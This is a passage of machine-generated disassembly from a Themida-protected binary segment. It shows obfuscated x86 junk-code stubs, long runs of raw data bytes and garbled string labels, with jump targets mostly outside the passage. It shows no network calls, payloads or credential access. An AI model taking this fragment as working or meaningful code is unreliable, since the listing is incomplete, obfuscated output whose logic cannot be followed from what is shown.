; ---------------------------------------------------------------------------


loc_562614:				; CODE XREF: Themida_:0055F9D7j
		sub	ebx, 4
		jmp	loc_564647
; ---------------------------------------------------------------------------
		dd 107D1CBEh, 0FE68172h, 4E5C6A44h, 0D6F7D6F7h,	1714BA52h
		dd 0D6015E6Fh, 5DC6815Ah, 167D7CFh, 0C8015EF0h,	2A7CBA52h
		dd 0E8E91647h, 30FFFFD7h, 5966243Ch, 32240C30h,	0C30240Ch
		dd 665E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56265E:				; CODE XREF: Themida_:005630EAj
		push	eax
		mov	eax, 4A17467Ah
		add	eax, 79D06798h
		and	eax, 730725F1h
		xor	eax, 24FE7B67h
		not	eax
		jmp	loc_556F39
; ---------------------------------------------------------------------------


loc_56267A:				; CODE XREF: Themida_:0055B877j
		mov	edi, esp
		push	ebp
		mov	ebp, 19402A2Dh
		push	edx
		mov	edx, 6AAF20D9h
		jmp	loc_5532CE
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 89000000h, 0FE2958C7h, 2434875Fh, 2434895Ch,	634268h
		dd 24148900h, 5879B951h, 67E97FCFh
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626B3:				; CODE XREF: Themida_:00564379j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_566058
; ---------------------------------------------------------------------------


loc_5626C1:				; CODE XREF: Themida_:0056083Aj
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_5673F4
; ---------------------------------------------------------------------------


loc_5626CB:				; CODE XREF: Themida_:005654B0j
		shr	ecx, 0Ah
		push	ebx
		jmp	loc_556556
; ---------------------------------------------------------------------------
		dd 4C48359h, 1B13E9h, 95E95A00h, 5BFFFF69h, 4C381h, 0E9500000h
		dd 0FFFF6D54h, 120EA81h, 1C8B0A42h, 4C48324h, 0E9241433h
		dd 0FFFFF3B4h, 81E78957h, 4C7h,	4C78300h, 5C243C87h, 0FF238DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562719:				; CODE XREF: Themida_:005593AFj
		pop	ecx
		pop	edi
		jmp	loc_55DFA8
; ---------------------------------------------------------------------------
		dd 4C481h, 0EA810000h, 58A01A1Ah, 2AB1E9h
		db 0
; ---------------------------------------------------------------------------


loc_562731:				; CODE XREF: Themida_:0055B59Ej
		add	edi, ebx
		jmp	loc_56776A
; ---------------------------------------------------------------------------
		dd 1C8BD909h, 4C48324h,	0A092F181h, 0C28181AFh,	746328F3h
		dd 0BE9CA29h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562753:				; CODE XREF: Themida_:005580C6j
		xor	eax, ebp
		pop	ebp
		jmp	loc_55DD5C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 54550C2h, 4825E381h,	7FE96530h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56276B:				; CODE XREF: Themida_:00559D19j
		mov	dl, 5Ch
		jmp	loc_55810B
; ---------------------------------------------------------------------------


loc_562772:				; CODE XREF: Themida_:00562F09j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 49842D40h
		push	1F5Ch
		mov	[esp], ecx
		jmp	loc_55DF0D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 48B7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56279E:				; CODE XREF: Themida_:00566A5Ej
		mov	[esp], ebx
		mov	bl, 0CDh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0CDh
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 1Ch
		jmp	loc_552CF7
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 726978EEh, 0FF1A10E9h, 243C89FFh, 0FF6C27E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5627E1:				; CODE XREF: Themida_:0055B7B8j
		add	bl, 96h
		add	bl, al
		push	969h
		mov	[esp], edx
		mov	dl, 96h
		jmp	loc_5672C6
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C3h
		dd 4, 5C241C87h, 8904EC83h, 74FF243Ch, 8F5F0424h, 248B2404h
		dd 5E5AE924h, 0F0BFFFFFh, 0E9429168h, 0FFFF79B1h, 3304C383h
		dd 1C31241Ch, 241C3324h, 0FFFBDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562831:				; CODE XREF: Themida_:00558344j
		xchg	eax, [esp]
		jmp	loc_55A819
; ---------------------------------------------------------------------------
		db 0D1h, 0E5h, 81h
		dd 0AE9604EDh, 246C01DDh, 44295D08h, 0B8500424h, 13357C8h
		dd 8246C81h, 16483493h,	8244429h, 1DEDE955h, 0C8B0000h
		dd 0C237E924h, 0C87FFFFh, 0E3C15C24h, 15E95707h, 0DFFFFD8h
		dd 440C5C26h, 7783122Dh, 8BC601A8h, 0C4812404h,	4, 15EF701h
		dd 243C8BF8h, 4C481h, 0F2E90000h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56289F:				; CODE XREF: Themida_:00557994j
		mov	edx, 4
		sub	eax, 15D256F1h
		sub	eax, edx
		add	eax, 15D256F1h
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_566FF5
; ---------------------------------------------------------------------------


loc_5628BA:				; CODE XREF: Themida_:0055F1BDj
		push	eax
		mov	al, 0B1h
		sub	al, 0C5h
		xor	al, 0ECh
		jmp	loc_5584A8
; ---------------------------------------------------------------------------
		dw 2BEh
		dd 0E96A4859h, 0FFFF46D0h, 1A53BA66h, 0F7665266h, 8B66241Ch
		dd 0C4812414h, 2, 0EC814A66h, 4, 50240C89h, 0FF98ACE9h
		dd 0BA6652FFh, 0C1660CC2h, 0F76605E2h, 664266D2h, 0E916B968h
		dd 0FFFFA534h, 24048F5Ch, 6624248Bh, 6824048Bh,	7236h
		dd 68241C89h, 54BBh, 460BE9h, 4C48100h,	0C1000000h, 0C33107E3h
		dd 0C331D831h, 0B9A0E997h, 0E95FFFFFh, 0FFFFE9E7h, 545EE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56294A:				; CODE XREF: Themida_:005581ADj
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55E627
; ---------------------------------------------------------------------------


loc_56296B:				; CODE XREF: Themida_:005624C3j
		push	ebx
		push	esp
		pop	ebx
		push	esi
		jmp	loc_566396
; ---------------------------------------------------------------------------
		dd 875AD329h, 3DE9241Ch, 89000038h, 0A7E9240Ch
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562987:				; CODE XREF: Themida_:005622B1j
		mov	edx, 6675406Fh
		shr	edx, 7
		add	edx, 0C0CC53BBh
		add	esi, edx
		pop	edx
		jmp	loc_56128B
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0FAh
		dd 40A7EA81h, 0E9561997h, 0FFFFE322h, 0CEF1E95Dh
		db 2 dup(0FFh)
word_5629B2	dw 8952h		; DATA XREF: Themida_:00552ADCo
		dd 4C281E2h, 51000000h,	13968h,	0B25BE900h, 4A68FFFFh
		dd 89000009h, 0ACBF243Ch, 0E916C74Ah, 0FFFF3B14h, 8B240433h
		dd 0C4832424h, 68C33104h, 6229h, 0E9240489h, 0FFFF02D3h
; ---------------------------------------------------------------------------


loc_5629F0:				; CODE XREF: Themida_:00553AD9j
		and	ebx, edx
		jmp	loc_553C8E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2F230EEBh, 37D8F781h, 0EF817733h, 69C7776Ch,	0A10AC781h
		dd 0F9297477h, 53243C8Bh, 0FF3458E9h, 4BD55FFh,	81000000h
		dd 0AA7DD8EAh, 81EA013Ah, 0AA7DD8C2h, 0EC815D3Ah, 4, 0FF67CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A39:				; CODE XREF: Themida_:00553924j
		pop	esp
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5579E1
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 587D08C1h, 68E90123h, 1BBEh,	0BE243489h, 23587D08h
		dd 0FF1AB9E9h, 5C801FFh, 69374932h, 0FFFA44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A71:				; CODE XREF: Themida_:0055A19Dj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5631F9
; ---------------------------------------------------------------------------
		db 68h
		dd 67F8h, 0E9243C89h, 3563h, 0D00071B2h, 142C5Ah, 7514E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562AA2:				; CODE XREF: Themida_:00560A23j
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_561AC0
; ---------------------------------------------------------------------------
		db 81h
		dd 6F4395EDh, 81F52951h, 6F4395C5h, 9AC58151h, 3156A96Dh
		dd 2635E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562AC6:				; CODE XREF: Themida_:005531C0j
		mov	edx, 7035619h
		not	edx
		not	edx
		or	edx, 5B850718h
		sub	edx, 79660F18h
		add	edx, 0DB6EA762h
		xor	ecx, edx
		jmp	loc_557BA0
; ---------------------------------------------------------------------------


loc_562AE8:				; CODE XREF: Themida_:00564A4Dj
		push	eax
		mov	al, 0EAh
		mov	dh, 0EAh
		xor	dh, al
		pop	eax
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 11h
		sub	dh, bl
		mov	bx, [esp]
		jmp	loc_557794
; ---------------------------------------------------------------------------
		db 50h
		dd 0DE5335B8h, 75380502h, 0CD35289Ah, 566F2C6Ah, 37211FBEh
		dd 0EEC14E28h, 81D6F708h, 6777A5F6h, 0F2E68174h, 8179F828h
		dd 0CBE895C6h, 96E94E1Eh
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B3B:				; CODE XREF: Themida_:0055AC00j
		add	esp, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55E23C
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 53h
		dd 0FF3E53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562B5D:				; CODE XREF: Themida_:0055B70Cj
		mov	dh, cl
		mov	al, dh
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, al
		mov	[edx], ch
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	eax
		pop	edx
		pop	ebx
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 0BFh
		dd 77247D4Dh, 247D49BBh, 5FFB3177h, 1B39B850h, 0C6296D7Ah
		dd 8324048Bh, 0DE0104C4h, 1B39C681h, 34FF6D7Ah,	241C8B24h
		dd 4C481h, 0C4830000h, 335F6804h, 3C890000h, 3FBAE924h
		dd 4C050000h, 53755111h, 0FF2A09E9h, 38C168FFh,	24890000h
		dd 24048324h, 0C1815904h, 4, 8904EC83h,	0BF572404h, 19F2B8Bh
		dd 5AE9F889h, 66FFFF64h, 0CE816646h, 0C5E925D5h, 5E000046h
		dd 0A01E9h
		db 0
; ---------------------------------------------------------------------------


loc_562C11:				; CODE XREF: Themida_:00558283j
		mov	[esp], edi
		mov	edi, 67A86FC7h
		shl	edi, 2
		add	edi, 0BADA6542h
		xor	ebx, edi
		pop	edi
		jmp	loc_566FAA
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 52000000h,	0FF73AFE9h, 0E38953FFh,	8904EC83h
		dd 0C7BA2414h, 0E92C3243h, 0FFFFE009h, 0E95BDE89h, 0CC5h
		dd 8104C483h, 4ECh, 24348900h, 0FFA799E9h, 241489FFh, 0FF28C7E9h
		dd 8AC681FFh, 81767558h, 0FF337CEEh, 4CEE813Bh,	810BD004h
		dd 9F596CF6h, 5EF3014Bh, 0EB81C301h, 7B500739h,	582434FFh
		dd 104C483h, 8953E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C9E:				; CODE XREF: Themida_:0055713Bj
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_556989
; ---------------------------------------------------------------------------
		db 1
		dd 5A1A05D8h, 335B0E6Ch, 4312404h, 0E6C4E924h, 0E381FFFFh
		dd 4F5659C5h, 8103E3C1h, 5F6F45EBh, 0C1D3F732h,	0EB8102EBh
		dd 0CA27FD34h, 89DF8957h, 0B2E95FF8h, 0BBFFFF1Fh, 6CAE7868h
		dd 0E95BDD29h, 47EAh, 0B2DBB151h, 59CA30E0h, 0C280CAFEh
		dd 80CAFE12h, 4CE904F2h, 89FFFF79h, 4BE56E7h, 1000000h
		dd 24348BF7h, 6804C483h, 17CEh,	0B9240C89h, 4, 464DEF81h
		dd 6DE928E4h, 0BDFFFFDEh, 70481E7Fh, 0E95DEB29h, 3030h
		dd 4C4815Bh, 83000000h,	0C8904ECh, 1753E924h, 0E9510000h
		dd 0FFFFE40Bh
; ---------------------------------------------------------------------------


loc_562D68:				; CODE XREF: Themida_:0055B5B8j
		push	ecx
		jmp	loc_561C98
; ---------------------------------------------------------------------------
		dw 4481h
		dd 2FFC0824h, 6C013492h, 6C810824h, 2FFC0824h, 2C8B3492h
		dd 4C48124h, 8B000000h,	0C483241Ch, 24148B04h, 4C481h
		dd 24E90000h, 68FFFEFFh, 4798h,	68243C89h, 50F23A73h, 9C7815Fh
		dd 0E975D821h, 0FFFF6018h, 8089EC80h, 0EC80C5CCh, 58E230EEh
		dd 0F628C280h, 1FB353DAh, 515BDA30h, 75E9FBB1h,	0E9FFFF8Ch
		dd 0FFFEFEE7h
dword_562DDC	dd 4EC81h, 0EC810000h, 4, 12B1E9h, 0FED1E900h
					; DATA XREF: Themida_:00552B8Co
		db 0FEh, 0FFh
word_562DF2	dw 34FFh		; DATA XREF: Themida_:00552C30o
		dd 2434FF24h, 582434FFh
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_55E43B
; ---------------------------------------------------------------------------
aZsjg		db 'ZИjG',0
		align 4


loc_562E14:				; CODE XREF: Themida_:005664E2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	esi
		push	edi
		push	5A39h
		jmp	loc_56208D
; ---------------------------------------------------------------------------


loc_562E26:				; CODE XREF: Themida_:0056364Fj
		pop	esp
		sub	esp, 4
		jmp	loc_560783
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 6855525Bh, 71A47336h, 0FF8682E9h, 19EB81FFh,	81113012h
		dd 2B1A0DE3h, 0A4E3812Fh, 812BD357h, 5C3AD8C3h,	5BDF215Ch
		dd 0CD74C781h, 1DE9DBB7h, 83FFFFB3h, 0C8904ECh,	2474FF24h
		dd 48F5904h, 0C2685C24h, 89000045h, 0E9562414h,	0E52h
		dd 615BE56h, 0FCE93BFBh
		db 0CFh, 2 dup(0FFh)
byte_562E8F	db 66h			; DATA XREF: Themida_:00552A58o
		dd 6824048Bh, 2D40h, 54243489h,	8124348Bh, 4C4h, 0C510E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562EAA:				; CODE XREF: Themida_:0055FBE6j
		add	ecx, edi
		pop	edi
		push	4F90h
		mov	[esp], edi
		mov	edi, 4
		push	3362h
		mov	[esp], esi
		mov	esi, 7F130874h
		neg	esi
		jmp	loc_553783
; ---------------------------------------------------------------------------
		dw 48Bh
aSo		db '$И▌',0Bh,0
		align 2
		dw 34FFh
		dd 0EC815D24h, 4, 89240C89h, 4C181E1h, 81000000h, 4C1h
		dd 0E5E95100h
		db 0EAh, 2 dup(0FFh)
byte_562EF7	db 66h			; DATA XREF: Themida_:00552BA4o
		dd 5524048Bh, 0FAAAE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562F02:				; CODE XREF: Themida_:00564094j
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_562772
; ---------------------------------------------------------------------------


loc_562F0E:				; CODE XREF: Themida_:0055CA2Fj
		mov	edi, esi
		jmp	loc_55DF7E
; ---------------------------------------------------------------------------
		db 89h,	0DEh, 5Bh
		dd 4244481h, 21B237E6h,	4244481h, 3741492Eh, 4247401h
		dd 492EB951h, 4C293741h, 81590824h, 0E604246Ch,	0FF21B237h
		dd 835E2434h, 8F04C4h, 4EC81h, 1C890000h, 0A5BD5524h, 810F1A6Ah
		dd 8D4234C5h, 65C5813Eh, 810B4371h, 59F0F0EDh, 45016839h
		dd 0C890000h, 737EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562F76:				; CODE XREF: Themida_:005575BCj
		mov	ecx, 2A5913D0h
		sub	ecx, 0C539D72h
		add	esi, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	ecx, [esp]
		jmp	loc_55D1C4
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF10F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562F99:				; CODE XREF: Themida_:00552FDDj
		mov	bh, dl
		mov	ch, bh
		pop	ebx
		pop	edx
		pop	ebx
		jmp	loc_55401A
; ---------------------------------------------------------------------------


loc_562FA5:				; CODE XREF: Themida_:005587C3j
		add	ecx, 63CB1861h
		add	ecx, eax
		sub	ecx, 63CB1861h
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 21857200h
		mov	edi, 7EC2C540h
		jmp	loc_55AE54
; ---------------------------------------------------------------------------


loc_562FCC:				; CODE XREF: Themida_:00565807j
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 6F40DAFh
		push	4D98h
		mov	[esp], edx
		mov	edx, 43514748h
		not	edx
		neg	edx
		shl	edx, 6
		jmp	loc_55B63F
; ---------------------------------------------------------------------------
		dd 20DBC681h, 0F28767BAh, 8124348Bh, 4C4h, 6EAC100h, 0FFE474E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56300D:				; CODE XREF: Themida_:005633F8j
		mov	[esp], eax
		jmp	loc_5613F8
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFE979E9h, 4C381FFh, 87000000h, 835C241Ch, 2C8704C5h
		dd 0F6E95C24h, 2900003Eh, 2C875AD5h, 24248B24h,	54241C89h
		dd 4C3815Bh, 51000000h,	4B9h, 0C38100h,	176F174h, 0EB81CBh
		dd 5976F174h, 8B241C87h, 0B60F2424h, 2F7168C8h,	0C890000h
		dd 0FC51E924h, 2BBFFFFEh, 83653179h, 2C8904ECh,	2EBCBD24h
		dd 0EF096409h, 8E7C15Dh, 6222E952h, 0F381FFFFh,	50FB2CBCh
		dd 0BE56E3D1h, 571C3569h, 3D35CE81h, 0A6E96C5Fh, 8BFFFF18h
		dd 0C483242Ch, 4EC8104h, 89000000h, 0E9B82404h,	8159F01Dh
		dd 0E66F6BEFh, 3FEF815Bh, 141ED55h, 3FC781C7h, 8141ED55h
		dd 0E66F6BC7h, 3390E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5630DA:				; CODE XREF: Themida_:0055F712j
		push	ebx
		push	62D77890h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_56265E
; ---------------------------------------------------------------------------


loc_5630EF:				; CODE XREF: Themida_:0055C6ECj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 5E671551h
		jmp	loc_5616A7
; ---------------------------------------------------------------------------


loc_563103:				; CODE XREF: Themida_:0055570Ej
		mov	eax, [esp]
		add	esp, 4
		push	0B51h
		mov	[esp], ecx
		push	0CE6h
		jmp	loc_56516B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 0FF966DE9h, 240489FFh
		dd 4D715768h, 2434FF4Eh, 41B7E9h, 5FFB0100h, 0FFC3DFE9h
		dd 0FFBE56FFh, 0E9FFFFFFh, 0FFFFEDBEh
; ---------------------------------------------------------------------------


loc_563154:				; CODE XREF: Themida_:0055A814j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556FE4
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 3FB5A273h, 0EDE9FA01h, 8700000Fh, 895C241Ch,	32682434h
		dd 5E2BAD1Eh, 37D0BA52h, 0DAF742C8h, 0FFD619E9h, 5FFD29FFh
		dd 5C242C87h, 0FF826FE9h, 2434FFFFh, 4C4815Fh, 0E9000000h
		dd 0FFFF826Fh, 0E9F7EA80h, 0FFFFBDFEh
dword_5631AC	dd 24048B66h, 253968h, 243C8900h, 7A3A68h, 48F5400h, 111DE924h
					; DATA XREF: Themida_:00552C54o
		dd 0C870000h, 0F42E924h, 2C8BFFFFh, 4C48124h, 8B000000h
		dd 0C4832434h, 0FFD02904h, 535A2434h, 0FFE5C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5631E9:				; CODE XREF: Themida_:00566ED1j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55F9C9
; ---------------------------------------------------------------------------


loc_5631F9:				; CODE XREF: Themida_:00562A82j
		push	ebx
		jmp	loc_553934
; ---------------------------------------------------------------------------


loc_5631FF:				; CODE XREF: Themida_:005571BFj
		add	edx, 91C73E83h
		sub	eax, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A827
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0CFC380h, 4EC83C3h, 0E9241489h, 0FFFF84E8h
; ---------------------------------------------------------------------------


loc_563230:				; CODE XREF: Themida_:0055F749j
		push	ecx
		mov	ecx, ebx
		mov	esi, ecx
		pop	ecx
		mov	ebx, [esp]
		push	eax
		jmp	loc_558ADA
; ---------------------------------------------------------------------------
		db 66h
		dd 5659CB29h, 46F8BE66h, 6CEE8166h, 0EEC16669h,	0F6816603h
		dd 8166118Ah, 665A2FC6h, 0F681664Eh, 0F76603DFh, 0C68366D6h
		dd 66506601h, 66E9CCB8h, 5866C631h, 0BAEB8166h,	0F301666Ch
		dd 0BAC38166h, 24348B6Ch, 0FFE13EE9h, 49E959FFh, 66FFFF36h
		dd 2404B30Fh, 0FA29E99Ch, 0A32DFFFEh, 0E95F3B60h, 0FFFFE783h
dword_5632A4	dd 24048B66h, 142468h, 24048900h, 0FFC525E9h, 81E789FFh
					; DATA XREF: Themida_:00552ABCo
		dd 4C7h, 0B9515300h, 37828FBh, 3E1C141h, 0EA14E949h
		db 2 dup(0FFh)
aNFZh@		db '╜-Д!<zh╦@',0        ; DATA XREF: Themida_:00552A4Co
		dd 7FC1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5632DE:				; CODE XREF: Themida_:0055EA21j
		push	4CF5h
		jmp	loc_5535A9
; ---------------------------------------------------------------------------
		dd 5704EF83h, 42474FFh,	50243C8Bh, 405E089h, 83000000h
		dd 48704C0h, 48F5C24h, 0CECFE924h, 1487FFFFh, 4875C24h
		dd 24248B24h, 0BD242C89h, 0FEh,	2C8BEB89h, 12F7E924h, 5D5AFFFFh
		dd 0FF5AB8E9h, 2434FFFFh, 9507E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563336:				; CODE XREF: Themida_:00553C89j
		mov	ecx, 450361B7h
		xor	ecx, 450361B5h
		mov	ebp, ecx
		jmp	loc_561C8C
; ---------------------------------------------------------------------------
		dd 3EB5E981h, 2C8B3836h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560BBD
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3534D3F2h, 895EF701h, 68565FFEh, 7F92116Fh, 87E9525Eh
		dd 81FFFEFDh, 643F19EBh, 24C38121h, 0E9188340h,	0FFFF2126h
; ---------------------------------------------------------------------------


loc_563388:				; CODE XREF: Themida_:00557F1Fj
		not	edx
		and	edx, 29E204D1h
		shr	edx, 5
		and	edx, 755F23B3h
		sub	edx, 0D65FD4C7h
		mov	edi, edx
		pop	edx
		neg	edi
		jmp	loc_563EDA
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FF11BCE9h, 54EB80FFh, 0C380F300h, 0EB805A54h, 34B8E9A9h
		dd 0C481FFFFh, 4, 3794C381h, 7EE95188h,	68FFFFA1h, 4E07h
		dd 0FF243C89h, 8B042474h, 0F2E9243Ch, 83000003h, 685504C4h
		dd 488Eh, 0FF6252E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5633F5:				; CODE XREF: Themida_:0055817Fj
		sub	esp, 4
		jmp	loc_56300D
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 0D3h
		dd 0C98F381h, 1889F967h, 24048B5Bh, 4C481h, 0D2310000h
		dd 5EAF68h, 241C8900h, 980E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563422:				; CODE XREF: Themida_:00557A47j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4A00h
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_55CD0C
; ---------------------------------------------------------------------------
		dw 0FF5Eh
		dd 0D264E932h, 3489FFFFh, 4EC8324h, 83242489h, 5E042404h
		dd 4B951h, 0CE010000h, 4C68359h, 0E9243487h, 27A5h, 9665866h
		dd 52665AD6h, 0DE98BA66h, 2505E9h
		db 0
; ---------------------------------------------------------------------------


loc_563479:				; CODE XREF: Themida_:0055E400j
		mov	esi, 5B597A86h
		sub	esi, 5B597A82h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560121
; ---------------------------------------------------------------------------
		db 0B5h, 0D6h, 0FEh
		dd 0D0C5FECDh, 9DED80E5h, 34FFEB30h, 0F22EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5634A6:				; CODE XREF: Themida_:005560F1j
		xor	ebp, eax
		pop	eax
		jmp	loc_55322F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89685824h, 0E9000001h, 0FFFF44A2h, 0C5375DBAh, 5DEA0157h
		dd 6440EB81h, 0D3015AB3h, 6440C381h, 148B5AB3h,	1E39E924h
		dd 0E958FFFFh, 24E6h, 0FCC7E951h, 5854FFFEh, 3003BF57h
		dd 0F781528Fh, 528F3007h, 961D7605h, 154B2D1Bh,	0F8010A9Dh
		dd 9D154B05h, 1D762D0Ah, 685F1B96h, 4E87h, 0E9243489h
		dd 0FFFF5B8Bh, 0E9240489h, 0FFFFD28Eh, 23D96851h, 81594485h
		dd 71568DC1h, 41E9D164h, 0B2E9E1D1h, 1FFFF76h, 0B3E959CDh
		dd 89FFFF1Ah, 3C872414h, 3C874724h, 2D2DE924h, 0EF810000h
		dd 71907BE2h, 0BD55EF01h, 71907BE2h, 5D5DEF01h,	8904EC83h
		dd 37E92414h, 81FFFF2Ch, 0F75616EAh, 8BD629DCh,	43E92414h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56357B:				; CODE XREF: Themida_:005620F6j
		add	esp, 4
		jmp	loc_56746E
; ---------------------------------------------------------------------------
		db 89h
		dd 0DA892414h, 0FFC12CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56358D:				; CODE XREF: Themida_:00557004j
		sub	esp, 4
		mov	[esp], edi
		push	2E3h
		mov	[esp], edx
		mov	edx, 8EE51D9h
		mov	edi, 47E1D84h
		xor	edi, edx
		pop	edx
		neg	edi
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		neg	edi
		jmp	loc_561666
; ---------------------------------------------------------------------------
		dd 54243489h, 4BD555Eh,	0E9000000h, 3C54h, 4A58C201h, 2414F752h
		dd 56DAF75Ah, 574805BEh, 8BF2316Eh, 7EE92434h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5635E3:				; CODE XREF: Themida_:0055C19Cj
		mov	ecx, 1F59407Eh
		not	ecx
		sub	ecx, 78764752h
		shr	ecx, 6
		add	ecx, 6A66DE73h
		sub	edi, 35F51B12h
		sub	edi, ecx
		jmp	loc_5578F6
; ---------------------------------------------------------------------------


loc_563606:				; CODE XREF: Themida_:00566970j
		mov	dl, al
		pop	eax
		sub	dl, 1
		push	ecx
		jmp	loc_55F237
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0C1E95C24h, 8BFFFF59h, 89662424h, 50662414h,	0F699E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56362A:				; CODE XREF: Themida_:00553A6Ej
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		jmp	loc_554EBE
; ---------------------------------------------------------------------------
		db 81h
		dd 495976C2h, 24048B1Dh, 4C481h, 0E9560000h, 0FFFF511Ah
; ---------------------------------------------------------------------------


loc_56364C:				; CODE XREF: Themida_:005654C6j
		xchg	ebx, [esp]
		jmp	loc_562E26
; ---------------------------------------------------------------------------
		dd 7356BA52h, 0F2812C78h, 181C48ECh, 19BDE94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563666:				; CODE XREF: Themida_:00559CD2j
		xchg	ebp, [esp]
		jmp	loc_5621E6
; ---------------------------------------------------------------------------


